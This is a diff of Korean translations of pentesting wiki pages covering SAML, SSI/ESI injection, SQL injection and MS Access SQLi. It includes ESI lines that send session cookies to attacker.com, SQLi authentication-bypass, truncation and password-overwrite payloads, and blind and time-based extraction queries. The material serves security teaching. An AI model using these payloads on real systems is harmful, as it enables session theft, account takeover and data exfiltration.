**Security Assertion Markup Language (SAML)**는 신원 제공자(IdP)가 서비스 제공자(SP)에게 권한 부여 자격 증명을 전송할 수 있도록 하여 단일 로그인(SSO)을 촉진합니다. 이 접근 방식은 여러 웹사이트에서 단일 자격 증명을 사용할 수 있 하여 여러 로그인 관리를 간소화합니다. IdP와 SP 간의 표준화된 통신을 위해 XML을 활용하며, 사용자 신원의 인증과 서비스 권한 부여를 연결합니다.
**Security Assertion Markup Language (SAML)**는 아이덴티티 제공자(IdP)가 서비스 제공자(SP)에게 권한 부여 자격 증명을 전송할 수 있도록 하여 단일 로그인(SSO)을 촉진합니다. 이 접근 방식은 여러 웹사이트에서 단일 자격 증명을 사용할 수 있도록 하여 여러 로그인 관리를 간소화합니다. IdP와 SP 간의 표준화된 통신을 위해 XML을 활용하며, 사용자 신원의 인증과 서비스 권한 부여를 연결합니다.
## SAML과 OAuth 비교
@ -13,7 +13,7 @@
**자세한 내용은 [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)의 전체 게시물을 확인하세요.** 다음은 요약입니다:
SAML 인증 프로세스는 여러 단계로 구성되어 있으며, 아래의 도식에서 설명됩니다:
SAML 인증 프로세스는 여러 단계로 구성되어 있으며, 스키마에 설명되어 있습니다:
![https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg)
@ -47,9 +47,9 @@ Host: shibdemo-sp1.test.edu
- **AssertionConsumerServiceURL**: IdP가 인증 후 SAML 응답을 보낼 위치를 지정합니다.
- **Destination**: 요청이 전송되는 IdP의 주소입니다.
- **ProtocolBinding**: SAML 프로토콜 메시지의 전송 방법을 정의합니다.
- **saml:Issuer**: 요청을 시작한 엔티를 식별합니다.
- **saml:Issuer**: 요청을 시작한 엔티를 식별합니다.
SAML 요청 생성 후, SP는 **302 redirect**로 응답하여 브라우저를 SAML 요청이 HTTP 응답의 **Location** 헤더에 인코딩된 IdP로 안내합니다. **RelayState** 매개변수는 거래 전반에 걸쳐 상태 정보를 유지하여 SP가 SAML 응답을 수신할 때 초기 리소스 요청을 인식하도록 합니다. **SAMLRequest** 매개변수는 원시 XML 스니펫의 압축 및 인코딩된 버전으로, Deflate 압축 및 base64 인코딩을 사용합니다.
SAML 요청 생성 후, SP는 **302 redirect**로 응답하여 브라우저를 SAML 요청이 HTTP 응답의 **Location** 헤더에 인코딩된 IdP로 안내합니다. **RelayState** 매개변수는 거래 전반에 걸쳐 상태 정보를 유지하여 SP가 SAML 응답을 수신할 때 초기 리소스 요청을 인식하도록 합니다. **SAMLRequest** 매개변수는 원시 XML 조각의 압축 및 인코딩된 버전으로, Deflate 압축 및 base64 인코딩을 사용합니다.
# SAML 응답 예시
@ -63,9 +63,9 @@ SAML 요청 생성 후, SP는 **302 redirect**로 응답하여 브라우저를 S
- **saml:AuthnStatement**: IdP가 어설션의 주체를 인증했음을 확인합니다.
- **saml:AttributeStatement**: 어설션의 주체를 설명하는 속성을 포함합니다.
SAML 응답 후, 프로세스에는 IdP로부터의 302 리디렉션이 포함됩니다. 이는 서비스 제공자의 어설션 소비자 서비스(ACS) URL로의 POST 요청으로 이어집니다. POST 요청에는 `RelayState``SAMLResponse` 매개변수가 포함됩니다. ACS는 SAML 응답을 처리하고 검증하는 책임이 있습니다.
SAML 응답 후, IdP에서 302 redirect가 포함된 프로세스가 진행됩니다. 이는 서비스 제공자의 어설션 소비자 서비스(ACS) URL로의 POST 요청으로 이어집니다. POST 요청에는 `RelayState``SAMLResponse` 매개변수가 포함됩니다. ACS는 SAML 응답을 처리하고 검증하는 역할을 합니다.
POST 요청이 수신되고 SAML 응답이 검증된 후, 사용자가 처음 요청한 보호된 리소스에 대한 접근이 허용됩니다. 이는 `/secure/` 엔드포인트에 대한 `GET` 요청과 성공적인 리소스 접근을 나타내는 `200 OK` 응답으로 설명됩니다.
POST 요청이 수신되고 SAML 응답이 검증된 후, 사용자가 처음 요청한 보호된 리소스에 대한 접근이 허용됩니다. 이는 `/secure/` 엔드포인트에 대한 `GET` 요청과 리소스에 대한 성공적인 접근을 나타내는 `200 OK` 응답으로 설명됩니다.
# XML 서명
@ -73,7 +73,7 @@ XML 서명은 전체 XML 트리 또는 그 안의 특정 요소에 서명할 수
### XML 서명의 기본 구조
XML 서명은 다음과 같은 필수 요소로 구성됩니다:
XML 서명은 필수 요소로 구성됩니다:
```xml
<Signature>
<SignedInfo>
@ -95,7 +95,7 @@ XML 서명은 다음과 같은 필수 요소로 구성됩니다:
### XML 서명의 유형
1. **Enveloped Signature**: 이 유형의 서명은 서명하는 리소스의 자손으로, 서명이 서명된 콘텐츠와 동일한 XML 구조 내에 포함되어 있음을 의미합니다.
1. **Enveloped Signature**: 이 유형의 서명은 서명 리소스의 자손으로, 서명이 서명된 콘텐츠와 동일한 XML 구조 내에 포함되어 있음을 의미합니다.
예시:
@ -114,9 +114,9 @@ XML 서명은 다음과 같은 필수 요소로 구성됩니다:
</samlp:Response>
```
Enveloped 서명에서 `ds:Transform` 요소는 `enveloped-signature` 알고리즘을 통해 서명되어 있음을 지정합니다.
enveloped 서명에서 `ds:Transform` 요소는 `enveloped-signature` 알고리즘을 통해 enveloped됨을 지정합니다.
2. **Enveloping Signature**: Enveloped 서명과 대조적으로, enveloping 서명은 서명되는 리소스를 감쌉니다.
2. **Enveloping Signature**: enveloped 서명과 대조적으로, enveloping 서명은 서명되는 리소스를 감쌉니다.
예시:

View File

@ -6,7 +6,7 @@
**(소개는** [**Apache 문서**](https://httpd.apache.org/docs/current/howto/ssi.html)**에서 가져옴)**
SSI (서버 사이드 포함)는 **HTML 페이지에 배치되고, 페이지가 제공되는 동안 서버에서 평가되는 지시어**입니다. 이를 통해 **기존 HTML 페이지에 동적으로 생성된 콘텐츠**를 추가할 수 있으며, 전체 페이지를 CGI 프로그램이나 다른 동적 기술을 통해 제공할 필요가 없습니다.\
SSI(서버 사이드 포함)는 **HTML 페이지에 배치되고, 페이지가 제공되는 동안 서버에서 평가되는 지시어**입니다. 이를 통해 **기존 HTML 페이지에 동적으로 생성된 콘텐츠**를 추가할 수 있으며, 전체 페이지를 CGI 프로그램이나 다른 동적 기술을 통해 제공할 필요가 없습니다.\
예를 들어, 기존 HTML 페이지에 다음과 같은 지시어를 배치할 수 있습니다:
`<!--#echo var="DATE_LOCAL" -->`
@ -15,11 +15,11 @@ SSI (서버 사이드 포함)는 **HTML 페이지에 배치되고, 페이지가
`Tuesday, 15-Jan-2013 19:28:54 EST`
SSI를 사용할 시점과 페이지를 완전히 생성할 프로그램을 선택하는 것은 일반적으로 페이지의 정적 부분과 페이지가 제공될 때마다 재계산해야 하는 부분의 양에 따라 달라집니다. SSI는 위에 표시된 현재 시간과 같은 작은 정보를 추가하는 훌륭한 방법입니다. 그러나 페이지의 대부분이 제공될 때 생성된다면, 다른 해결책을 찾아야 합니다.
SSI를 사용할 시점과 페이지를 완전히 프로그램에 의해 생성할 시점의 결정은 일반적으로 페이지의 정적 부분과 페이지가 제공될 때마다 재계산해야 하는 부분의 양에 따라 달라집니다. SSI는 위에 표시된 현재 시간과 같은 작은 정보 조각을 추가하는 훌륭한 방법입니다. 그러나 페이지의 대부분이 제공될 때 생성되는 경우, 다른 솔루션을 찾아야 합니다.
웹 애플리케이션이 확장자가 **`.shtml`, `.shtm` 또는 `.stm`**인 파일을 사용하는 경우 SSI의 존재를 추론할 수 있지만, 그것만이 전부는 아닙니다.
전형적인 SSI 표현은 다음 형식을 가집니다:
전형적인 SSI 표현은 다음 형식을 가집니다:
```
<!--#directive param="value" -->
```
@ -89,7 +89,7 @@ hell<!--esi-->o
```
### ESI 취약점
[GoSecure는](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) 다양한 ESI 지원 소프트웨어에 대해 시도할 수 있는 가능한 공격을 이해하기 위한 표를 작성했습니다. 이는 지원되는 기능에 따라 다릅니다:
[GoSecure는](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) 다양한 ESI 지원 소프트웨어에 대해 시도할 수 있는 가능한 공격을 이해하기 위한 표를 만들었습니다. 이는 지원되는 기능에 따라 다릅니다:
- **Includes**: `<esi:includes>` 지시어를 지원합니다.
- **Vars**: `<esi:vars>` 지시어를 지원합니다. XSS 필터를 우회하는 데 유용합니다.
@ -127,7 +127,7 @@ Use <!--esi--> to bypass WAFs:
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
- XSS를 사용하여 응답에 반영하여 HTTP_ONLY 쿠키를 탈취하기:
- XSS를 사용하여 응답에 반영하여 HTTP_ONLY 쿠키를 훔치기:
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
@ -175,9 +175,9 @@ Use <!--esi--> to bypass WAFs:
Host: anotherhost.com"/>
</esi:include>
```
#### Akamai debug
#### Akamai 디버그
이것은 응답에 포함된 디버그 정보를 보니다:
이것은 응답에 포함된 디버그 정보를 보낼 것입니다:
```xml
<esi:debug/>
```

View File

@ -4,7 +4,7 @@
## SQL 인젝션이란 무엇인가?
**SQL 인젝션**은 공격자가 애플리케이션의 **데이터베이스 쿼리**에 **간섭할 수 있게 해주는** 보안 결함입니다. 이 취약점은 공격자가 접근해서는 안 되는 데이터, 즉 다른 사용자의 정보나 애플리케이션이 접근할 수 있는 모든 데이터를 **조회**, **수정**, 또는 **삭제**할 수 있게 합니다. 이러한 행동은 애플리케이션의 기능이나 콘텐츠에 영구적인 변경을 초래하거나 서버의 손상 또는 서비스 거부를 초래할 수 있습니다.
**SQL 인젝션**은 공격자가 애플리케이션의 **데이터베이스 쿼리**에 **간섭할 수 있게 해주는** 보안 결함입니다. 이 취약점은 공격자가 접근해서는 안 되는 데이터, 즉 다른 사용자의 정보나 애플리케이션이 접근할 수 있는 모든 데이터를 **조회**, **수정**, 또는 **삭제**할 수 있게 합니다. 이러한 행동은 애플리케이션의 기능이나 콘텐츠에 영구적인 변화를 초래하거나 서버의 손상 또는 서비스 거부를 초래할 수 있습니다.
## 진입점 탐지
@ -21,7 +21,7 @@
"))
`))
```
그렇다면 **오류가 없도록 쿼리를 수정하는 방법**을 알아야 합니다. 쿼리를 수정하기 위해 **데이터를 입력**하여 **이전 쿼리가 새 데이터를 수용하도록** 하거나, 그냥 **데이터를 입력하고 끝에 주석 기호를 추가**할 수 있습니다.
그렇다면 **오류가 없도록 쿼리를 수정하는 방법**을 알아야 합니다. 쿼리를 수정하기 위해 **데이터를 입력**하여 **이전 쿼리가 새 데이터를 수용하도록** 하거나, 그냥 **데이터를 입력**하고 **끝에 주석 기호를 추가**할 수 있습니다.
_쿼리가 작동할 때와 작동하지 않을 때 오류 메시지를 볼 수 있거나 차이점을 발견할 수 있다면 이 단계는 더 쉬울 것입니다._
@ -53,9 +53,9 @@ HQL does not support comments
```
### 논리 연산으로 확인하기
SQL 인젝션 취약을 확인하는 신뢰할 수 있는 방법은 **논리 연산**을 실행하고 예상 결과를 관찰하는 것입니다. 예를 들어, `?username=Peter`와 같은 GET 매개변수`?username=Peter' or '1'='1`로 수정했을 때 동일한 콘텐츠를 생성하면 SQL 인젝션 취약점이 있음을 나타냅니다.
SQL 인젝션 취약을 확인하는 신뢰할 수 있는 방법은 **논리 연산**을 실행하고 예상 결과를 관찰하는 것입니다. 예를 들어, `?username=Peter`와 같은 GET 매개변수`?username=Peter' or '1'='1`로 수정했을 때 동일한 콘텐츠가 생성되면 SQL 인젝션 취약성이 있음을 나타냅니다.
마찬가지로, **수학적 연산**의 적용은 효과적인 확인 기술로 작용합니다. 예를 들어, `?id=1``?id=2-1`에 접근했을 때 동일한 결과가 나온다면, 이는 SQL 인젝션을 나타냅니다.
마찬가지로, **수학적 연산**의 적용은 효과적인 확인 기술로 작용합니다. 예를 들어, `?id=1``?id=2-1`에 접근했을 때 동일한 결과가 생성되면 SQL 인젝션을 나타냅니다.
논리 연산 확인을 보여주는 예:
```
@ -70,7 +70,7 @@ page.asp?id=1 and 1=2 -- results in false
### 타이밍으로 확인하기
일부 경우에는 테스트 중인 페이지에서 **변화를 감지하지 못할 수 있습니다**. 따라서 **블라인드 SQL 인젝션을 발견하는** 좋은 방법은 DB가 작업을 수행하게 하여 페이지 로드에 **영향을 미치는 시간**을 만드는 것입니다.\
일부 경우에는 테스트 중인 페이지에서 **변화를 감지하지 못할 수 있습니다**. 따라서 **블라인드 SQL 인젝션을 발견하는** 좋은 방법은 DB가 작업을 수행하게 하여 페이지 로드에 **시간에 영향을 미치게 하는** 것입니다.\
따라서 SQL 쿼리에 완료하는 데 많은 시간이 걸리는 작업을 연결할 것입니다:
```
MySQL (string concat and logical ops)
@ -97,7 +97,7 @@ SQLite
### 백엔드 식별
백엔드를 식별하는 가장 좋은 방법은 다양한 백엔드의 함수를 실행해보는 것입니다. 이전 섹션의 _**sleep**_ **함수** 또는 다음의 함수들을 사용할 수 있습니다 (표는 [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)에서):
백엔드를 식별하는 가장 좋은 방법은 다양한 백엔드의 함수를 실행해보는 것입니다. 이전 섹션의 _**sleep**_ **함수** 또는 다음의 함수들을 사용할 수 있습니다 (table from [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@ -138,8 +138,8 @@ SQLite
### 열의 수 감지
쿼리의 출력을 볼 수 있다면, 이것이 가장 좋은 방법입니다.\
우선, **초기 요청**이 반환하는 **열**의 **수**를 찾아야 합니다. 이는 **두 쿼리가 동일한 수의 열을 반환해야 하기 때문**입니다.\
쿼리의 출력을 볼 수 있다면, 이것이 가장 좋은 악용 방법입니다.\
우선, **초기 요청**이 반환하는 **열의 수**를 알아내야 합니다. 이는 **두 쿼리가 동일한 수의 열을 반환해야 하기 때문**입니다.\
이 목적을 위해 일반적으로 두 가지 방법이 사용됩니다:
#### Order/Group by
@ -187,7 +187,7 @@ _모든 데이터베이스에서 이 데이터를 발견하는 방법은 다르
## 숨겨진 유니온 기반 활용
쿼리의 출력이 보이지만 유니온 기반 주입이 불가능해 보일 때, 이는 **숨겨진 유니온 기반 주입**의 존재를 나타냅니다. 이 시나리오는 종종 블라인드 주입 상황으로 이어집니다. 블라인드 주입을 유니온 기반으로 변환하려면 백엔드에서 실행 쿼리를 식별해야 합니다.
쿼리의 출력이 보이지만 유니온 기반 주입이 불가능해 보일 때, 이는 **숨겨진 유니온 기반 주입**의 존재를 의미합니다. 이 시나리오는 종종 블라인드 주입 상황으로 이어집니다. 블라인드 주입을 유니온 기반으로 변환하려면 백엔드에서 실행 쿼리를 파악해야 합니다.
이는 블라인드 주입 기술과 대상 데이터베이스 관리 시스템(DBMS)에 특정한 기본 테이블을 사용하여 수행할 수 있습니다. 이러한 기본 테이블을 이해하기 위해서는 대상 DBMS의 문서를 참조하는 것이 좋습니다.
@ -205,7 +205,7 @@ _모든 데이터베이스에서 이 데이터를 발견하는 방법은 다르
## 블라인드 SQLi 활용하기
이 경우 쿼리의 결과나 오류를 볼 수는 없지만, 쿼리가 **true** 또는 **false** 응답을 **반환**할 때 페이지의 내용이 다르기 때문에 이를 **구별**할 수 있습니다.\
이 경우, 이 동작을 악용하여 데이터베이스를 문자 단위로 덤프할 수 있습니다:
이 경우, 그 행동을 악용하여 데이터베이스를 문자 단위로 덤프할 수 있습니다:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
@ -217,7 +217,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## 시간 기반 SQLi 활용
이 경우에는 페이지의 맥락에 따라 쿼리의 **응답**을 **구별**할 수 있는 방법이 **없습니다**. 그러나 추측한 문자가 올바른 경우 페이지가 **더 오래 로드되도록** 만들 수 있습니다. 우리는 이미 [SQLi 취약점 확인](./#confirming-with-timing)에서 이 기술이 사용되는 것을 보았습니다.
이 경우에는 페이지의 맥락에 따라 쿼리의 **응답**을 **구분**할 수 있는 방법이 **없습니다**. 하지만, 추측한 문자가 맞으면 페이지가 **더 오래 로드되도록** 만들 수 있습니다. 우리는 이미 [타이밍을 통한 확인](./#confirming-with-timing)에서 이 기술이 사용되는 것을 보았습니다.
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
@ -251,7 +251,7 @@ SQL Injection 취약점을 익스플로잇하는 모든 방법에 대해 이미
- [Oracle](oracle-injection.md)
- [PostgreSQL](postgresql-injection/)
**MySQL, PostgreSQL, Oracle, MSSQL, SQLite 및 HQL에 관한 많은 트릭을** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)에서 찾을 수 있습니다.
[**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)에서 **MySQL, PostgreSQL, Oracle, MSSQL, SQLite 및 HQL에 관한 많은 트릭을 찾을 수 있습니다.**
## 인증 우회
@ -265,7 +265,7 @@ SQL Injection 취약점을 익스플로잇하는 모든 방법에 대해 이미
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
이 쿼리는 인증 검사에서 원시 출력을 위해 true로 MD5를 사용할 때 취약점을 보여줍니다. 이로 인해 시스템이 SQL 인젝션에 취약해집니다. 공격자는 해시될 때 예상치 못한 SQL 명령 부분을 생성하는 입력을 조작하여 무단 접근을 할 수 있습니다.
이 쿼리는 인증 검사에서 원시 출력을 위해 true로 MD5를 사용할 때 취약점을 보여줍니다. 이로 인해 시스템이 SQL 인젝션에 취약해집니다. 공격자는 해시될 때 예상치 못한 SQL 명령 부분을 생성하는 입력을 조작하여 이를 악용할 수 있으며, 이로 인해 무단 접근이 발생할 수 있습니다.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@ -310,13 +310,13 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
- 이름이 **AdMIn**인 사용자 생성 (대문자 및 소문자 혼합)
- 이름이 **admin=**인 사용자 생성
- **SQL Truncation Attack** (사용자 이름이나 이메일에 **길이 제한**이 있을 때) --> 이름이 **admin \[공백이 많이 있는] a**인 사용자 생성
- **SQL Truncation Attack** (사용자 이름이나 이메일에 **길이 제한**이 있을 때) --> 이름이 **admin \[공백이 많] a**인 사용자 생성
#### SQL Truncation Attack
데이터베이스가 취약하고 사용자 이름의 최대 문자 수가 예를 들어 30일 때, **admin** 사용자를 가장하고 싶다면, "_admin \[30 공백] a_"라는 사용자 이름을 생성해 보십시오. 그리고 아무 비밀번호나 입력합니다.
데이터베이스가 취약하고 사용자 이름의 최대 문자 수가 예를 들어 30일 때, **admin** 사용자를 가장하려면: "_admin \[30 공백] a_"라는 사용자 이름을 생성해 보십시오. 그리고 아무 비밀번호나 사용하십시오.
데이터베이스는 입력된 **사용자 이름**이 데이터베이스에 **존재하는지** **확인**합니다. 만약 **존재하지 않으면**, **사용자 이름**을 **허용된 최대 문자 수**로 **잘라냅니다** (이 경우 "_admin \[25 공백]_"로) 그리고 **자동으로 끝의 모든 공백을 제거하여** 데이터베이스 내에서 사용자 "**admin**"의 **새 비밀번호**로 업데이트합니다 (어떤 오류가 발생할 수 있지만, 이는 작동하지 않았다는 것을 의미하지 않습니다).
데이터베이스는 입력된 **사용자 이름**이 데이터베이스에 **존재하는지** **확인**합니다. **존재하지 않으면**, **사용자 이름**을 **최대 허용 문자 수**로 **잘라냅니다** (이 경우 "_admin \[25 공백]_"로) 그리고 데이터베이스 내에서 사용자 "**admin**"의 **새 비밀번호**로 **자동으로 모든 공백을 제거합니다** (어떤 오류가 발생할 수 있지만, 이것이 작동하지 않았다는 의미는 아닙니다).
자세한 정보: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
@ -324,7 +324,7 @@ _참고: 이 공격은 최신 MySQL 설치에서 위와 같이 더 이상 작동
### MySQL Insert 시간 기반 검사
`','',''`를 가능한 한 많이 추가하여 VALUES 문을 종료합니다. 지연이 발생하면 SQLInjection이 있는 것입니다.
`','',''`를 가능한 한 많이 추가하여 VALUES 문을 종료하십시오. 지연이 발생하면 SQLInjection이 있습니다.
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
@ -340,15 +340,15 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
```
다음은 작동 방식입니다:
- 쿼리는 두 개의 행을 삽입하려고 시도합니다: 하나는 `generic_user@example.com`을 위한 것이고, 다른 하나는 `admin_generic@example.com`을 위한 것입니다.
- 만약 `admin_generic@example.com`에 대한 행이 이미 존재한다면, `ON DUPLICATE KEY UPDATE` 절이 트리거되어 MySQL에 기존 행의 `password` 필드를 "bcrypt_hash_of_newpassword"로 업데이트하도록 지시합니다.
- 따라서 인증은 `admin_generic@example.com`을 사용하여 bcrypt 해시에 해당하는 비밀번호로 시도할 수 있습니다 ("bcrypt_hash_of_newpassword"는 새 비밀번호의 bcrypt 해시를 나타내며, 원하는 비밀번호의 실제 해시로 대체되어야 합니다).
- 쿼리는 `generic_user@example.com`에 대한 행과 `admin_generic@example.com`에 대한 행을 삽입하려고 시도합니다.
- `admin_generic@example.com`에 대한 행이 이미 존재하는 경우, `ON DUPLICATE KEY UPDATE` 절이 트리거되어 MySQL에 기존 행의 `password` 필드를 "bcrypt_hash_of_newpassword"로 업데이트하도록 지시합니다.
- 따라서 `admin_generic@example.com`을 사용하여 bcrypt 해시에 해당하는 비밀번호로 인증을 시도할 수 있습니다 ("bcrypt_hash_of_newpassword"는 새 비밀번호의 bcrypt 해시를 나타내며, 원하는 비밀번호의 실제 해시로 대체되어야 합니다).
### 정보 추출
#### 동시에 2개의 계정 만들기
로운 사용자와 사용자 이름을 만들려고 할 때, 비밀번호와 이메일이 필요합니다:
새 사용자와 사용자 이름을 만들려고 할 때 비밀번호와 이메일이 필요합니다:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
@ -387,7 +387,7 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
```
## WAF 우회
[여기에서 초기 우회 확인](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
[초기 우회는 여기에서](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)
### 공백 없는 우회
@ -443,9 +443,9 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
```
### 열 이름 제한 우회
우선, **원래 쿼리와 플래그를 추출하려는 테이블의 열 수가 동일하다면** 다음과 같이 할 수 있습니다: `0 UNION SELECT * FROM flag`
먼저, **원래 쿼리와 플래그를 추출하려는 테이블의 열 수가 동일하다면** 다음과 같이 할 수 있습니다: `0 UNION SELECT * FROM flag`
**이름을 사용하지 않고 테이블의 세 번째 열에 접근하는 것이 가능합니다**. 다음과 같은 쿼리를 사용하여: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, 따라서 sqlinjection에서는 다음과 같이 보일 것입니다:
**이름을 사용하지 않고 테이블의 세 번째 열에 접근하는 것이 가능합니다**. 다음과 같은 쿼리를 사용하여: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, 따라서 sqlinjection에서는 다음과 같이 보일 것입니다:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

View File

@ -31,7 +31,7 @@ MS Access에는 댓글이 없지만, NULL 문자로 쿼리의 마지막을 제
### LIMIT
**`LIMIT`** 연산자는 **구현되지 않았습니다**. 그러나 **`TOP` 연산자**를 사용하여 SELECT 쿼리 결과를 **첫 N 테이블 행으로 제한**하는 것이 가능합니다. `TOP`은 반환할 행의 수를 나타내는 정수를 인수로 받습니다.
**`LIMIT`** 연산자는 **구현되지 않았습니다**. 그러나 **`TOP` 연산자를 사용하여 SELECT 쿼리 결과를 처음 N 테이블 행으로 제한하는** 것이 가능합니다. `TOP`은 반환할 행의 수를 나타내는 정수를 인수로 받습니다.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
@ -52,7 +52,7 @@ Therefore, you need to know a **valid table name**.
**MS Access**는 **`'1'=2='3'='asd'=false`**와 같은 **이상한 구문**을 허용합니다. 일반적으로 SQL 인젝션은 **`WHERE`** 절 안에 있으므로 이를 악용할 수 있습니다.
MS Access 데이터베이스에 SQLi가 있고, 한 **열 이름이 username**이라는 것을 알고 (또는 추측하고) 그 필드를 **추출**하고 싶다고 가정해 보십시오. 체인 등호 기법을 사용할 때 웹 앱의 다양한 응답을 확인하고 **`Mid`** 함수를 사용하여 부분 문자열을 얻는 **부울 인젝션**으로 콘텐츠를 추출할 수 있습니다.
MS Access 데이터베이스에 SQLi가 있고 (알거나 추측한) 한 **열 이름이 username**이라는 것을 알고 있으며, 그 필드를 **추출**하고 싶다고 가정해 보십시오. 체인 등호 기법을 사용할 때 웹 앱의 다양한 응답을 확인하고 **`Mid`** 함수를 사용하여 부분 문자열을 얻는 **부울 인젝션**으로 콘텐츠를 추출할 수 있습니다.
```sql
'=(Mid(username,1,3)='adm')='
```
@ -64,7 +64,7 @@ _온라인 플레이그라운드에서 확인해 보세요._
### 테이블 이름 강제 추측
체인 이퀄스 기법을 사용하여 **테이블 이름을 강제 추측**할 수 있습니다:
체인 이퀄스 기법을 사용하여 **테이블 이름을 강제 추측**할 수 있습니다:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
@ -75,11 +75,11 @@ _온라인 플레이그라운드에서 확인해 보세요._
_온라인 플레이그라운드에서 확인해 보세요._
- Sqlmap 일반 테이블 이름: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) 에 다른 목록이 있습니다.
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) 에 다른 목록이 있습니다.
### 열 이름 강제 추측
체인 등호 트릭을 사용하여 **현재 열 이름을 강제로 추측할 수 있습니다**:
현재 열 이름을 **강제 추측**할 수 있습니다. chaining equals trick을 사용하여:
```sql
'=column_name='
```
@ -95,7 +95,7 @@ _온라인 플레이그라운드에서 확인해 보세요._
```
### 데이터 덤프
우리는 이미 [**체인 이퀄스 기법**](ms-access-sql-injection.md#chaining-equals-+-substring) **을 사용하여 현재 및 다른 테이블에서 데이터를 덤프하는 방법**에 대해 논의했습니다. 하지만 다른 방법도 있습니다:
우리는 이미 [**체인 등호 기법**](ms-access-sql-injection.md#chaining-equals-+-substring) **을 사용하여 현재 및 다른 테이블에서 데이터를 덤프하는 방법**에 대해 논의했습니다. 하지만 다른 방법도 있습니다:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
@ -116,7 +116,7 @@ Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=
## 테이블 열거하기
From [**here**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) you can see a query to get tables names:
[**여기**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)에서 테이블 이름을 가져오는 쿼리를 볼 수 있습니다:
```sql
select MSysObjects.name
from MSysObjects
@ -154,13 +154,13 @@ MS Access는 **웹 디렉토리 전체 경로를 포함하는 오류 메시지**
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
여기서 **name\[i]는 .mdb 파일 이름**이고 **realTable은 데이터베이스 내의 존재하는 테이블**입니다. MS Access는 항상 오류 메시지를 트리거하지만, 유효하지 않은 파일 이름과 유효한 .mdb 파일 이름을 구별할 수 있습니다.
여기서 **name\[i]는 .mdb 파일 이름**이고 **realTable은 데이터베이스 내의 존재하는 테이블**입니다. MS Access는 항상 오류 메시지를 트리거하지만, 유효하지 않은 파일 이름과 유효한 .mdb 파일 이름을 구별하는 것은 가능합니다.
### .mdb 비밀번호 크래커
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html)는 Microsoft Access 95/97/2000/XP 또는 Jet Database Engine 3.0/4.0의 주요 데이터베이스 비밀번호를 복구하는 데 사용할 수 있는 무료 유틸리티입니다.
## 참고 문헌
## 참
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)

View File

@ -4,12 +4,12 @@
## Active Directory enumeration
다음 MSSQL 함수를 사용하여 **MSSQL 서버 내에서 SQL 인젝션을 통해 도메인 사용자를 열거할 수 있습니다**:
다음 MSSQL 함수를 사용하여 **MSSQL** 서버 내에서 SQL 인젝션을 통해 도메인 사용자를 **열거**할 수 있습니다:
